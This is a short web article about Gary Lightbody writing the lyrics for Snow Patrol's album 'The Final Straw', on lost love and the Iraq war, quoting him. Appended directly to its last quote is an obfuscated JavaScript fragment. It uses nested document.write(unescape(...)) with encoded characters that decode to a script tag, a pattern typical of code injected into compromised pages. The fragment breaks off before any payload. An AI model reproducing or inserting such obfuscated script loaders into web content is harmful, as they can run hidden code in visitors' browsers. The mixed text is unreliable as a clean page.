Overview
When singer Gary Lightbody wrote the lyrics for Snow Patrol's third album, "The Final Straw," he found himself drawing on themes of lost love and also the Iraqi conflict.
Lightbody explained on the Snow Patrol web site, "I think it's the first time I've written about something other than my own problems." He added, "It was a really scary time, and that war impacted on the album.
There's still the theme of relationships on there too, but there's always been that on Snow Patrol albums. I never write about the nice bits where the relationship starts, it's always about when the chaos kicks in at the end."document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22
